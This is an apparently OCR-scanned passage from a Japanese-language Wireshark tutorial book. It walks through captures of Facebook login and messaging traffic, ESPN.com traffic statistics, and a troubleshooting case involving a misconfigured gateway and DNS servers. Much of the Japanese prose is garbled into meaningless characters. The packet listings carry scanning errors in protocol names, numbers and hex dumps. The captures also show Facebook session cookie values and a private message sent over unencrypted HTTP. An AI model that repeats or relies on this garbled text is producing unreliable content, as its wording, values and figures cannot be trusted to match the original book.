L2 ERBRDT, A B BEKEL TA72{%) F L7z, Wireshark % ffi> T Facebook® +5 7 4 v 7
xS Fy LTUERLTAHAEL LD,

8.1.2.1 Facebook®d O« »/iniE

facebook_login.pcap 7 7 A WICF ¥ 7F ¥ L7cu 74 VILE A SIEDFE L X 9o T 7F vid,
K8-7D & H IZEMIBEHROEE,SHIBEIN TV E T, Twitterd T 7 4 VLB & [AAEIC, 443 F
R—FTTCPNY FY 24 7047 bN@. T2 ¥ 2—%172.16.0.122@7%, LGB TS H—
69.63.180.173@ L HEZ MG L ETo NV FY A VDR TTHLSSLNY Ky 24 20T H @,
U7 A DO ERERPERE SN T,

No. Time Source Destination Protocol Info

3 0.000033 172.16.0.122 69.63.180.173 TP 54595 > 443 [40K] 5eq=2917405623 AcK=2894038305 Win=92 Len=0 TSV-301989735 TSER=3479125768
4 0.000343 172.16.0.122 69.63.180.173 TLsvi  client Heﬂoé

5 0.089522 69.63.180.173 172.16.0.122 TLsvl  server ello, tertificate, Server Hello Done

6 0.000031 172.16.0.122 69.63.180.173 TP 54505 > 443 [ACK] Seq-2917405792 Ack Win-121 Len-0 58 TSER-3479125858
7 0.002848 172.16.0.122 69.63.180.173 TLsvi  client Key Exchange, change Cipher Spec, Encrypted Handshake Message

§0.090444 69.63.180.173 172.16.0.122 TLsvl  change Cipher spec, encrypted Handshake Message

9 0.000533 172.16.0.122 69.63.180.173 TLsvi  Application pata

10 0.189619 69.63.180.173 172.16.0.122 TP 443 > 54595 [ACK] 5eq-2894039285 Ack=2917406956 Win-5473 Len-0 TSV=3479126142 TSER-301989781
11 0.073201 69.63.180.173 172.16.0.122 TLsvl  Application pata

X8-7 OJA > DERIBERIHTTPSICE > TEF 2 7IEEEND

Twitter DFBFFLI & DENIE, T 74 Y REOERFEROBZER, L fibhiatrsaro
TAT T T I TNV ETT, ZOMDIRB-8TT+—H AL TS LI, 12FHD
2%y O HTTP A 712 /home.php <D GET ) 7 T A MH 5 Z L W R TE T T @,

12 0.011¢ .16.0.. ).63.. 'ome. | ? L. _
20,011497 172.16.0.122 60.63.190.22 HTTP GET /home.php? HTTP/1.1 =)

@ Frame 12: 693 bytes on wire (5544 bits), 693 bytes captured (5544 bits)

@ Ethernet II, Src: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33)

@ Internet Protocol, Src: 172.16.0.122 (172.16.0.122), Dst: 69.63.190.22 (69.63.190.22)

@ Transmission Control Protocol, Src Port: 58637 (58637), Dst Port: 80 (80), Seq: 1272383368, Ack: 2937903435, Len: 627
]

GET /home.php? HTTP/1.1\r\n 1
Host: www.facebook.com\r\n
user-Agent: Mozilla/5.0 (x11; u; Linux i686; en-us; rv:1.9.1.8) Gecko/20100214 ubuntu/9.10 (karmic) Firefox/3.5.8\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0. 8\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: IS0-8859-1,utf-8;g=0.7,%;g=0.7\r\n
Keep-Alive: 300\r\n
connection: keep-alive\r\n
Referer: http://www.facebook.com/\r\n
cookie: datr=1270494458-cfa0d48b4a0ba7770547eda01bfb8a07eee6ddea8sf4a3d253ccbd; 1sd=rIviL; test_cookie=1; c_user=100000943187386; lo=812nj4zrP5upIrT-

\r\n
< il J »
0020~ 55 55 6 g ome. A
0050 54 54 So zf 31 2e a 7 H‘rrp/l Elost : =
0080 207777777 26 68 6163 6562 6F of ob 2e 63 of ebook. o
0070 ed 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d ser- Agent

0080 7a 69 6c 6c 61 2f 35 2e 30 20 28 58 31 31 3b ozﬂ]a/s -0, (x11 i

DOS0 RSty ajeaiscyeciety2qs s 28] 20ja0] 25 e ] 1] iy =h

X8-8 EBEEMN. /home.php ADGETUV I X IThh3
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LicfEbhzarrvavid, R89DF ¥ 7 F v 77 A VORBEIIHH64TFTHD Vv @I
H5EH1Z, homephpD IV F Y IPERENLEFATFY Y ENET, $T80FK— O HTTP

BT AT T 3N (2FHDO/Nr v ) @, RIZ443 TR — MO HTTPSER AT 4 757 v &
nFEd,

No. Time. Source Destination Protacol Info
esz 300.39816172.16.0.122 69.63.190.22 TCP 58637 > 80 [FIN, ACK] Seq-1272384963 Ack-2937930926 Win-1002 Len-0 TSV-302065222 TSER-3479159094
62 0.000388 172.16.0.122 69.62.180.173 TLsvl  Encrypted Alert

65 0.036439 69.63.190.22 172.16.0.122 80 > 58637 [ACK] 5eq=2937930926 Ack=1272384964 Win-7233 Len=0 T5v=3479459532 TSER-302065222

66 0,000082 69.63.190.22 172.16.0.122 80 > 58637 [FIN, ACK] 5eq-2937930026 Ack-1272384964 Win-7232 Len-0 TS5V-3479459532 TSER-302065222
172.16.0.122 58637 > 80 [ACK] Seq=1272284964 Ack=29237930927 win=1002 Len=0 TSV=302065232 TSER=3479459532

54595 > 443 [ACK] 5eq=2917406980 Ack=2894040467 Win=158 Len=0 T5V=302065245 TSER=3479427810

71 0.088948 69.62.180.173 172.16.0.122 TP 443 > 54505 [ACK] 5eq=2894040467 Ack=2017406980 Win=5406 Len=0 TsV=3470428358 TSER=302065360

[8-9 HTTPHEMDRICHTTPSEMN T+ 74803

8.1.2.2 Facebook®DISAN—R XyvtE—Y

O 7 A VBB HNT, TI9AR= MRy = IUPREIUBEIN T 0E A TWEFE T,
facebook_message.pcap 7 7 1 WIZI&. Facebook DEEZDT AV "L ROT A v ko
TeA v =VEFXTFX LIy MEEINTOET, 77 A VERLE T v hODI P RN
LIt TLE D,

WAD2OD73y ME, Ay —VZDHDEREEFETHOOHTTP 774 v 7T, 27FBD
2737y FOHTTP Ay B L, B8-10D & ) IZESD URLILFFHIAPOST AV v FTHIE SN T
WETQ, ATHOEBED, LFHNIIAIAXNDOZRAEEETFN TV T T,

0122 6963.190.10 TP POST /o . [E=EEE)
[ 20.000012 172.16.0.122 69.63.190.10 HTTP POST /ajax/gig oo hp?_a=1 iaﬁm/x-www-fonrrudeﬂcoded) E=yr=n

Frame 2: 193 bytes on wire (1544 bits), 193 bytes captured (1544 bits)
Ethernet II, Src: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33) |
Internet Protocol, Src: 172.16.0.122 (172.16.0.122), Dst: 69.63.190.10 (69.63.190.10)

Transmission control Protocol, Src Port: 58014 (58014), Dst Port: 80 (80), Seq: 213423315, Ack: 3852371768, Len: 127
[Reassembled TCP Segments (1495 bytes): #1(1368), #2(127)]

EEEEEE]

POST /ajax/gigaboxx/endpoint/MessageComposerendpoint.php?__a=1 HTTP/1.1
Host: www.facebook.com\r\n
user-Agent: Mozilla/5.0 (x11; u; Linux i686; en-us; rv:1.9.1.8) Gecko/20100214 ubuntu/9.10 (karmic) Firefox/3.5.8\r\n
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%*/%;q=0.8\r\n

Accept-Language: en-us,en;q=0.5\r\n

' Accept-Encoding: gzip,deflate\r\n

Accept-Charset: 150-8859-1,utf-8;g=0.7,%*;g=0.7\r\n

Keep-Alive: 300\r\n

connection: keep-alive\r\n

X-SVN-Rev: 232466\r\n

Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n

rReferer: http://www.facebook.com/home.php?\r\n

!l @ content-Length: 439\r\n

Ll [truncated] cookie: datr=1270494458-cfa0d48b40ba7770547eda01bfb8a07eee6ddea85f4a3d253ccbd; 1sd=rIviL; c_user=100000943187386;
| pPragma: no-cache\r\n

Cache-control: no-cache\r\n

\r\n

e Yy 1 s

0000 6a 61 78 67 69 67 61
0010 (3 7 70 6f 69 6e 74 2f 4d 65 7
0 43 6 6d 70 6f 73 65 72 45 6e 64 70

U

rame (193 bytes)| Reassembled TCP (1495 bytes) [

H8-10 AJAX%EZERYBHTTP POST

AJAX (Asynchronous JavaScript and XML) (&, /Xy 7 757 ¥ K CH— 1\ 515 E IS 555
N Web 7 T r—va Y EBETL00, 254 T Y MIA FOFETT, 7T/ X— e Ay
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=TV GAT RO TITIFRLREEESNIUL, £y T a v PRROR=INEYFL LI ERD
(Twitter @& 4 L7 M A v =TV E[ERIZ) LRI DD LNFHAD, £)TEDY FHA AJAX %
i) L) DI, il 4 DR—=V b TR B DIMEOITFEN LKy 7T v Tipb Ayt —UPHERFEE
NE, 2FENIyT YD) FA L7 MR U= FPREZL W) TEEFRLE T, TNHTAJAXHE
DAYy hOOEDLDTT,

XI8-11D X 92, 27K H D34 » b Line-based text dataiifi 7 Z B THIE, T4 X—F Ay
L=V ONEE LI ENTEE T, Twitter Bk, FacebookD7F7 4 X—bt X vt —IH 5L
NFICERFEENTVDE LI TT,

= Line-based text data: application/x-www-form-urlencoded
[truncated] ids_c4bba389c9d7033d483222[0]=51800021&subject=Secret!&status=Don’ t%20tell%20anybody%2C%20but%201%20ate%20al1%20the

[8-11 Facebook®D Xy t—NDALFT Y HFEXICE > TS

8.1.3 Twitter & Facebook DLLE

Z 2 ¥ CTwitter & Facebook &\ 9 22D Web ¥ — EZADFHIEE X v & — VO, ThEh
Rpb770—F2fWoTnbIbx RTEF Lz, 707 I3% 5, Twitter DR¥GE DT ) A%R
HPORRWPZL FIRTETLL ) —~HEF2) TAOWRRIE, TRTOAY TV I DBHEFEIT%
{5 815 Facebook DF L% G35 20D LILF A, MA T, Facebook TIIFFEI 427 ¥ a3 v &%
T3 AUNIFFEERERE T 5 LB Rz, REEBRE (man-in-the-middle-attack) 2L D#EL 74D
Y (PHBERELE, BEEDLL—VF P HHTOMNT T4y 722 LTHET LI L), FEH
K CO200FAHHEICIRIEILALEN RO TTA, 2 A0 707 <) E UAEEET) Vv —
FURRIE LA, EWPRINEL LV ZEPEIEENTHET,

ZOEHT DAL ¥ I, Twitter & Facebook 73 E ) #RET 2 0 CTld <, B L7Z20 R LA20 T
BIENTELINTI 7472 BHETLILETT . ZoflE, P72k ) Y —E A9 FHEREL %
W HDHVITEVILH 2 R OIS U E R AE IR L T<NB1E3TT,

8.2 ESPN.comDbS5T74vIEFvYIFvrIH

HOSNSOF =y 7D bb L, =2 —ADRMLEAR—YOBEETF 2y 7T 500 H
BIZhoTWET T L2OHIAZ ) 3 A MSHLDTTH, €D H HLDOUE D) http://www.
espn.com/ T3, http_espn.pcaplCESPNHY A b2 757 A L7274 v 20 %F ¥ 7F ¥ LEL

COFXTF T 7ANICIIRB6HMBD T 7 A VBEENTVET, TNEFILOIAT Y arR
RERMERT 272010, FHTAZAB—-V LTI 7 A VEEEZ LT DS EDITH RELROT,
Wireshark OfATHERE % flio TIEEAMHICLTAT L L I,

8.2.1 [Conversations] /705 0FIHA
ESPN DR — A R=VIZ72EADY) ¥ 7 RN E TN TV AHDOZ ALK, 77— 7 526128 1000

S
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LDy MR UELIHDMETEET, KEOT— 7 2iEE 725546, 77— 7 0L -
TWELEMTTY, SHICHEELOEE, PURTH 120N EBR 2O Z BB L TBLZ L TT,
Wireshark @ [Conversations] ¥4 712 (X =2 —#% 5 [Statistics] — [Conversations] % ;#R)
ERRATIUEI N2 F3,

K8-12DFITid, 14DIPIZ L B, 25DTCP I %2 ¥ 5>, 14O UDPIZ X B HFEAT, A4 ¥
® [Conversations] ¥4 7R ZIZFHELLEREINTVE T, oz ED0H 4 M LT, F0&R
AL DT ERfTbITVwET,

F ™
[ Conversations: http_espn.pcap [ hllg _JEIM
L Ethemet: 1] Fibre Channel| Fopi| 1pvi: 14 | 1pys | 1px | uxTa ] nep | Rsve | scTp] Tcp: 25] Token Ring | upe: 14] use ] wian[ >

IPvd Conversations

Address A 4 AddressB 4 Packets 4 Bytes 4 Packets A->B 4 BytesA-»B 4 Packets A<-B 4 Bytes A<-B 4 RelStat ¢ =+
4221 172160122 25 3193 14 2141 14 1052 0.000000000
172160122 199.181132.250 6 121 4 651 2 570 0.011851000
68.71.20811 17216.0122 77 43505 35 42876 42 6629 0156174000
172160122 205.234.218.129 588 439 846 271 34 501 317 405 345 0346699000
172160122 205.234.218.82 38 21506 20 2697 13 18809 0.560578000 |=
63.85.36.8 172160122 7 1858 3 1212 4 646 0.679210000
63.85.36.72 172160122 119 99317 m 93693 48 5624 0.751189000
172160122 205234218112 21 7735 16 3906 11 3829 0782260000
68.71.209.72 172160122 6 1734 2 608 4 1126 0.806357000
172160122 205.234.218.67 10 2532 6 1143 4 1383 1154830000 L
68.71.208.113 172.16.0122 6 1316 2 359 4 957 1.320217000
66.235139.152 172.16.0122 15 7055 6 2661 9 4394 1549026000 -
< I | r

MName resolution [T Limit to display filter

[ ][ com |

b

X8-12 #HENHIXI 3> a2FTRL TS [Conversations] #170%

8.2.2 [Protocol Hierarchy Statistics] 47705 DFIHA

CORRESSICELAB 720, TCPa4 27 ¥ a L UDPTiibI T2 7 7Y r—Ya vg7ua
FanvzRTAFLED, A=2—H5 [Statistics] = [Protocol Hierarchy] % #R L. KI8-13®
[Protocol Hierarchy Statistics] ¥4 7227 %2 & 9,




——
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[ Wireshark: Protocol Hierarchy Statistics [ECR S| E=REER)
Display filter: none
Protocol % Packets Packets Bytes Mbit/s End Packets End Bytes End Mbit/s
= Frame [ 10000% | 95 652181 2548 0 0 0000
= Ethemet 956 652181 2.548 0 0 0.000
& Intemet Pratocol 956 652181 2.548 0 0 0000
© © User Datagram Protocol [T 28% 2 3193 o 0 0 0.000
© Domain Name Service [ 28% 28 3193 o 8 3193 0012
@ © Transmission Control Protocol 928 648988 2.536 807 567803 2219
© © Hypertext Transfer Protocol B 266% 121 suss 0317 62 37579 0147
Line-based text data [ 1a6% 14 o761 0038 14 9l 0038
JPEG FileInterchange Format | 178% 17 12156 0.047 1712156 0047
Portable Network Graphics [ 146% 14 10587 0041 14 10587 0041
Compuserve GIF [EEE e 9 7778 0030 9 778 0.030
Media Type [ e 3 2332 0009 3 B#BR 0.009
eXtensible Markup Language [ 021% 2 992 0004 2 992 0.004

X8-13 7OhIIL%EZFR/RTS [Protocol Hierarchy Statistics] 44 7074

TCPT7 A7 v NI v b0 97.07/8—t » b D@, UDPT A7 ¥ MIFEH D2.93/5—+ > 1@
EoTwET, FHREBYTCP NS 749 Z7IZHTTP TH YO, HTTPREH TEX SNL 774 V5
A THNTEHITHFEINTHE T,

Wireshark TIZHTTP1212.66 /5 — £~ FOAREFIRENTWVEDT, TCP I 7 4 v 713 §XT
HTTP72 &9 ERFLT A0 0 LR T AN, ZDM184.41/8—t > MI#H:LTCPFF 74 v 7 &\
I BERGDOTY (F—Figk L flif/ v ), UDPATOTOL M) &2/5E, UDPLS74v 213
FNTDNSTTO,

COHMZTTH, W OhDORmIEE T E T, 0L DIEDNS T V¥ ¥ a v FEFICA
Tk n) I LT, DNS/¥ v MME 281 5 DT (E8-13D [Domain Name Service] > 1)
DB [Packets] 7 F LMZHATHWET), DNSES U2 ¥ a VIidRETH 140 &) BEIZR
NET, VIIZAPE VARV ATHMABEDT, X7y tOREKEZ2TEH>TZOMEHMLTVET,
[Conversations] ¥4 72 7O UDPATO Fa 2 &, #PIC14DORFEAVREN T T, bhvbho
HEMASIE LW EAFEHEINE L2,

DNSZ 23 S0 DR H > THEAELE T, TLF YT FYHNOZDOEILDOINT T4 v 71
HTTP 5749 7 DHATT, DI EH S, ESPNH A FNOHTML 2 — FiZDNS4 TIEHD K 2
AVFEREYTRAAL VESBRLCT0E720, HEOZZ)PEFTIN T ER/FERINET,

S
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C O IO BAMERL TAHI L Lo

8.2.3 DNShST7rsvo=BIRID

TANT T IE DNSFF 74y 72 15 2 EAMHICTE 9, Wiresharkd X { > 4
YFYDT74NFE Tdns] EATITHE, RI8-14D X HIZ, §XTHODNS T 714 v 7 BBI|T
xFET,

No. Time Source Destination Protocol  Info

1 0.000000 172.16.0.122 £l o Poil DNS standard query A www. espn. com

2 0.011665 4.2.2.1 172.16.0.122 DNS Standard query response A 199.181.132.250

9 0.144300 172.16.0.122 P S Sl G DNS Standard query A espn.go.com

10 0.155758 4.2.2.1 172.16.0.122 DNS standard query response A 68.71.208.11

21 0.326066 172.16.0.122 4.2.2.1 DNS standard query A a.espncdn.com

22 0.337568 4.2.2.1 172.16.0.122 DNS standard query response CNAME a.espncdn. com.edgesuite.net CNAME al831.g.akamai.net
224 0.542078 172.16.0.122 4.2.2.1 DNS Standard query A al.espncdn.com
225 0.549050 172.16.0.122 4.2.2.1 DNS Standard query A a2.espncdn. com
226 0.553531 4.2.2.1 172.16.0.122 DNS standard query response CNAME a.espncdn. com. edgesuite.net CNAME al831.g. akamai.net]
227 0.560189 4.2.2.1 172.16.0.122 DNS standard query response CNAME a.espncdn. com. edgesuite.net CNAME al831.g.akamai. net]
389 0.650057 172.16.0.122 4.2.2.1 DNS standard query A www.masters.com
417 0.679056 4.2.2.1 172.16.0.122 DNS standard query response CNAME www.masters.com.edgesuite.net CNAME alO75.g.akamai.r]

425 0.737456 172.16.0.122 s ool DNS standard query A adsatt.espn. go.com

426 0.738032 172.16.0.122 25 o Boit DNS standard query A log.go.com

427 0.749732 4.2.2.1 172.16.0.122 DNS standard query response CNAME adimages.go.com.edgesuite.net CNAME al412.g.akamai.r]
429 0.758282  172.16.0.122 T DNS standard guery A assets.espn. go.com

[8-14 BEEIJIVELARCADEICRABDNS KT 197

K814DDNS+F 74 v 71k, $RTCIZ TV ELVARVADLSICRAZE T, 7T &h/=DNS
%hRECRBIE 7ZVOREFRRTIEILTANSEERLLET, 7405 BT 51213,
[Packet List] XA T ) D37 v M EIR L., [Packet Details] X4 > T/87 v FODNSA v
B L9, KIC [Flags : 0x0100 (Standard query)] 7 4 — )V K%4 29 v 7 L. [Apply as
Filter] \2~ 7 A% =V V& FioTwE, [Selected] % #INL T3

ZNCTdns.flags == 0x0100 L\ 5 7 A VI BHFR L), 7TV BTN FERENSLLHITHRADT,
L CVB L I— T o LART AT, TR ULL LRNL LI IF 14D
DEFTH(E STy M7 T)EELTND), TRTORAS YHIZESPNEEO LS IR FTOT,
A= AR=VTFRENTVLIVF U VIIELTWE L) ICRZTFONE T,

8.24 HTTPUJIAMZRD

RBICHTTPY 7 ZA MEFRNR, RO 7 2 OREILERIELE T, Z072010F, A=a2—
5 [Statistics] — [HTTP] % #IR L T [Requests] Z#IR L. [Create Stat] 227V v 27 LFT (Z
NZEEITTHHIC, BIFEMHR L2745 2HET 202 ERTIO,

X 8-151% [HTTP Requests] ¥4 7HZ7Z/RLTWE T, SIIIHERENTVL14DIAT T a
(BT =N XL v~ ~0at s ar2RKLTWET) I DNSZ LY S/ FxXf Y 2RLTwF
R
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i HTTP/Requests

PR ey ——

Topic / Item

[ HTTP Requests by HTTP Host
WWW.ESpN.Com
espn.go.com
a.espncdn.com
al.espncdn.com
aZ.espncdn.com
www.masters.com
adsatt.espn.go.com
assets.espn.go.com
log.go.com
content.dl-rms.com
broadband.espn.go.com
wif.go.com
streak.espn.go.com

games-ak.espn.go.com

Count Rate Percent
61 0030873
1 0.000506 1.64%
0002531 8.20%
Eil 0.015689 50.82%
0.001012 3.28%
0.002024 6.56%
0.000506 1.64%
0002024 6.56%
0.002531 8.20%
0.000506 1.64%
0.001012 3.28%
0000506 1.64%
0001012 3.28%
0.000506 1.64%
0.000506 1.64%

[ e R S e R ]

Close

S

|

X8-15

ZDarrvarPRELTVETD,
NHD—HOMIH)—BETITbI 0N L)
PHRIEFICHKRODH L LEZATT, TNxf
R B —FWH LT bFTT7 497 OME
R AHZLETT, A=2—H»5 [Statistics] —
[Summary] Z#INL FL x 9. K8-161I/RL
72 [Summary] ¥4 707 % H % & —#ED L
DRI TN EHH) 5O,

WebX—T % B2 E W) iRy 7 A M)S
ULDRBRDFAL VRFTRAL YD) 7
IAMERY, SEIFLY—NERLYHY ZAT
W, ZNTH ZORBERIZ2F Lo T
WRWEW) DIEFARGERIE AL E T,

BERIZAYOHA NG LGRS T T 4
27X xTFr L. ENETOL)ITHITLT
WCORME ELTHOHAVOTIEZWTL &
Mo Ny b RBVERY, F— AR LT
EIMHRTVBDONIEDRSZVDTTN D,

TIRRAENERAA L ERTHTTPU VIR MOBENPEEICKRTSNATND

Time
First packet:
Last packet:
Elapsed:

Capture
Interface:
Dropped packets:
Capture filter:

Display
Display filter:
Ignored packets:

Traffic

Packets

Avg. packets/sec
Avg. packet size
Bytes

Avg. bytes/sec
Avg. MBit/sec

Between first and last packet 2.047 sec o

i Wireshark: Summary lilﬂ'g
File
Name: C:\http_espn.pcap
Length: 667501 bytes
Format: Wireshark/tcpdump/... - libpcap
Encapsulation: Ethernet
Packet size limit: 65535 bytes

2010-04-07 12:29:29
2010-04-07 12:29:31
00:00:02

unknown
unknown
unknown

none
0

4 Captured 4 Displayed 4 Marked 4
956 956 0

466915
682198 bytes
652181
318528317
2548

C

[X8-16

[Summary] &4 7075 LEDMIEH 25

LINTHBZEbD D




——

83 RETORSIL | 159

8.3 MBETORSTIL

SEIMEEZEL NS 740 2 0OPELOPRTWETLEY, ZHEHEA V-2 v T 7%
2ZEFODDL I T TIVE, RERERT) V7T o0EHtoMEz e, WL s 7ve |
TwEFELi),

8.3.1 AVH—Ry PMIIEHETERVN : FRE=R

WHADRTTNVDOTF ) FHiF, = =HA V7 =2y MIERTELRVWEWVI FDOTT, [FHh0a
V2= DR, B— AN —NEDT TV =2 a o ~\OT Ak EL. A VTR RO
FTRTOY Y — AT 7L ATEDZ EIIMERFEATT .

FTRCDIFTAT Y e —NPHHAR AL v FHRATHEREINTBY, Ay bT—7DT7—F 77
FXREPHRVEMTT A VT =2y MDOT 7L AT 74NV — by L LTHERET A H—0
NV—ZREHTRIL S, IP7 FLAEHRIEDHCPIZ X > TIREE ST E§, MR L 74 ATl
N2 )+ T,

8.3.1.1 5—=JIL~DEA

Fo TNDRKEZ RIS B0, Sy b EY TF Y — VA Ry b T — 2 ZER L TWARBICA
V=RV bDTITIRXEFITLTHOVET [25 X7y b Fy T Fr v — Va2 ERICHET S ]
CREHR L7254 (1 2-15) 12X, 737y b4 7 F v Y — V& BB 5 O #Y) 23550 2 JIk L £ 9,

29 MT =T DAL v FIIR=PFIT=) Y TITHIBLTVEEA, TAMIMAILTEHoTWS
BT, $TI—F—EEEZRELTLE>TWBEDT, HEF 754 HFEL T RLERT
L) (MR L7728, ¥ T2 MDD — T IWIBEATEREDHELRDT). ZORERIUEL
727 74 Va¥nowebaccessl.pcap T9 o

8.3.1.2 I\ MERIR

7749 7DF T F vk, B817TDLHIC, ARPV VT AN VARV ATIHEY F§, MAC
7 KL Z00:25:b3:bf:91:ee. IP7 FL 2172.16.0.8 DL —HF—Da ¥ a—%iL, 1FHD/ 7 v b T,
FIANMN = 724 TH5172.16.0.10DIP 7 KL AIZHHISAHTF 5N MACT FLAZ B2 5%
72D, AV NI =T AV EOTRTOI Y E2—FIZARP7E—FEF Y A M7y M %EL
S

Mo. Time Source Destination Protocol  Info
1 0.000000 00:25:b3:bf:91:ee FrfFfff:ff . FF:FF ARP who has 172.16.0.107 Tell 172.16.0.8
2 0.000090 00:24:81:a1:f6:79 00:25:b3:bf:91:ee ARP 172.16.0.10 is at 00:24:81:31:f6:79

X8-17 F7#IMF—bIzAICHTHARP)IIZXREL IR

2FBEB D Y R2TVL ARV AZZIT o/ —HF—Da v ¥ a—#lE, 172.16.0.105500:24:
81:al:f6:79 TH L Z L Wb o/zD T, 4 V¥ —F v PNENID) 7T — b7 = 4 ORI FETL. I

S
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F L7
ARPL ZR Y AIZHhi &, avEa—733FH D/ » M T, DNSZ{fio TIP 7 KL A% 5 44T f#

P RADLLERHYE T, R8-18IZ/RLTWVELIIZ, T4 YDDNSH—NTH54.2.2.212
DNSZ U7y bk ELETO,

- - | =T |
[ 3 0.000105 172.16.0.8 4.2.2.2 DNS Standard query A le.com BTSN

Frame 3: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:24:81:a1:f6:79 (00:24:81:a1:T6:79)
Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 4.2.2.2 (4.2.2.2)0
User Datagram Protocol, Src Port: 55870 (55870), Dst Port: 53 (53)
= Domain Name System (query)
Transaction ID: 0x80dl I
Flags: 0x0100 (standard query) I
Questions: 1
Answer RRs: 0
Authority RRs: O
Additional RRs: 0
Bl Queries
wwwi. google.com: type A, class IN

|
)j0010 00 3c 03 8a 00 00 80 11 00 00 ac 10 00 08 04 02 50000 DoDS000C
0020 02 02 da 3e 00 35 00 28 b2 55 80 dl1 01 00 00 01 PSSy 8] QS L SYYyeyeYS

00 S = EI

06 67 6T 6T 67 6C

[8-18 4.2.2.2I03%{E&h/=DNS—/ TV

Ml OIRPLIZE . DNSH = NEDNS 7 T ) ZIEFITHBEICIDE L EF T T2 TEEI RoTn
FHA WETEZL FMUDNSZ T Y SHEHOT FLANEEE SR TWES, K8-19Tid. 4
FTHD/r v P T2 EDDNS 7 TY S, £H ¥ # Y DODNSH—/N422 1% EERTVETO,

. 40.999280 172.16.0.8 4.2.2.1 DNS Standard query A www.google.com

Frame 4: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
Ethernet II, src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:24:81:a1:T6:79 (00:24:81:a1:T6:79)
Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 4.2.2.1 (4.2.2.1)0
User Datagram Protocol, Src Port: 55870 (55870), Dst pPort: 53 (53)
= Domain Name System (query)
Transaction ID: 0x80dl
Flags: 0x0100 (standard query)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: O
= Queries
www.google.com: type A, class IN

03 8b 00 00 80 11

da 3e 00 35 00 2 01 00 00
00 00 00 03 7 77 67 6f 6f 67 6¢
6f 6d 00 00

[8-19 4.2.2.1(C%fESn/=2EEBNDNS7TY

F25 R DNSH =D LD EIE %L, 7T VIZIRICHE, 4.222~NE % E3hET, ZoOM
HIEB-2025bH5 L9, TTAYDDNSH—1N@Lth v F)ONERHEII T v Mk
HEVHIT, BB ESNE S, JOWUMERIZPD» L EEHIZHHTTO, Zhidr—H—
DT T IHFN, Web A MR TELRVWEHETL2ETIIETLREB E RV E T,
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No. Time Source Destination Protocol  Info
1 0.000000 00:25:b3:bf:91:ee PP EUFT BT SR BT ST ARP who has 172.16.0.107 Tell 172.16.0.8
2 0.000090 00:24:81:a1:f6:79 00:25:b3:bf:91:ee ARP 172.16.0.10 is at 00:24:81:a1:f6:79
3 0.000105 172.16.0.8 .2.2@Q DNS standard query A www.google. com

4.2
4 0.999280 172.16.0.8 4.2.2.1 @ DNS Standard query A www.google. com
51.999279 172.16.0.8 4.2.2.2 DNS standard query A www.google.com
6 3.999372 172.16.0.8 élg Ho Eadl DNS standard query A www.google.com
7 3.999393 172.16.0.8 o 2o 2 & DNS standard query A www.google.com
8 7.999627 172.16.0.8 4.2.2.1 DNS Standard query A www.google.com
EN 172.16.0.8 Y standard query A www.google.com

X8-20 @EENHFUSNZETDNS 7 IUN#EIREIND

NRry IO TVOREREFELTAELE) T TIANI b7 24 72LEZ TS
W—F~DARP) 7 ZA M LT D Lhn, CZOMEREIEIELTBY . BETEZLD
P0ET, TV =D 2 —FIZERIT v M EEELTWAOT, 2y Ea—% BRI
ObINAYy 7 ORI EHETE TS, BEIEP S22, DNSY 7 22 M7 bi 7z E T
X TWEDTY,

ZZ Tl DNSZ ZUHA v =3y b EORY —/N (4.2.22F7:134.2.2.1) IZX > TS
$9, DE AR EENATONRBIZIE, A VT —F Y MIRT Y bRV —F 4 Y T FHN—FH
DNSZ T %#DNSH—=1NEBA LR L, F— DR IHUBETLLENHLDOTT, ZhH0D
ZEIFTRT, WebX—=Y DY 7 T XA MIHTTP2SFH SN BRI AT E T,

407 —=% 9 MCERTE RV —=F =PENUIFE L 2O T, V—F LHEBO DNSH—/3%
BEZOKMEORRTEIRVWESTZE T, THLME—EEDLVOY, 2—=F—Da 22— TT,

MEOI Ea—s %23 L HRTALE, DHCPHEIN U T2 7 L AEH A IS %81l 7o
TESHT, PHTT FLAERATREEN T2, F74 VT =7 24 OF F L AGREI#EY)
ThRPoZZZENHAHLE Lz 774NV = 7oA L L THRESNT R AP 7257272
B, DNSZ7 287y bR TE RPN 72D TT,

8.3.1.3 ZTTTZREAECE

COYFIFOMEIZ, 74T Y IDOREIRIHYFE L, BEAKI»ZYHEMRDOTL
B L= —EE KL 5 25bDTL . SOLIRHMEREIADIN T TN Y 2 —T 4
YITH AV NI =T HERO T WAR, brok Ly MENT 21T O 2L, 2D
B ZZELCLEVET, X7y MBI KRB CHEMR N TV R R L EE2T0LOTIEE
WwoTY,

COYFIVFTIE, TIANVMT—=F 724 DIPT KL AW Do TV o720 T, Wireshark 72
TN TVORRZEETEIEATLAED, EIRMATREDPEZHZ NS0, HEE
RH 2z TEFE LIz, 774N = by oA 2720, ISPICHE 2 I-720 . #4380 DNSH—
NDONTTNY 2—=FT A4 Y TERATIFRERLIZNTEI LR, VI TVOBRERTHLI Ea—s
ZOLDIZERT LI LN TEZDOTY,

S
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162 | 88 BEHROIFUFDE—

Ry NI=TDIP7 RURFERZH > TONIE DS SICREITREUIC. ARPU
DIARDEESNIPT RUART I IL T — b T AD7 RUREEDS ERDIF
F CORSTIVORAGT ICHBBLIZDTT, &5 UIeBEHFEREIAFULIFUIE
Ry hD=0 bSTIDORREEDFIA T v MEFZED LT D IEITTEBEIFEE
[CHERCTEET,

8.3.2 AVH—2vy MIEHRTERL : RBYBEVILILI B

IOYFVATE, IrE2=—FIPoA Uy =4y MR TE RV —F—IIHESSLLTLS
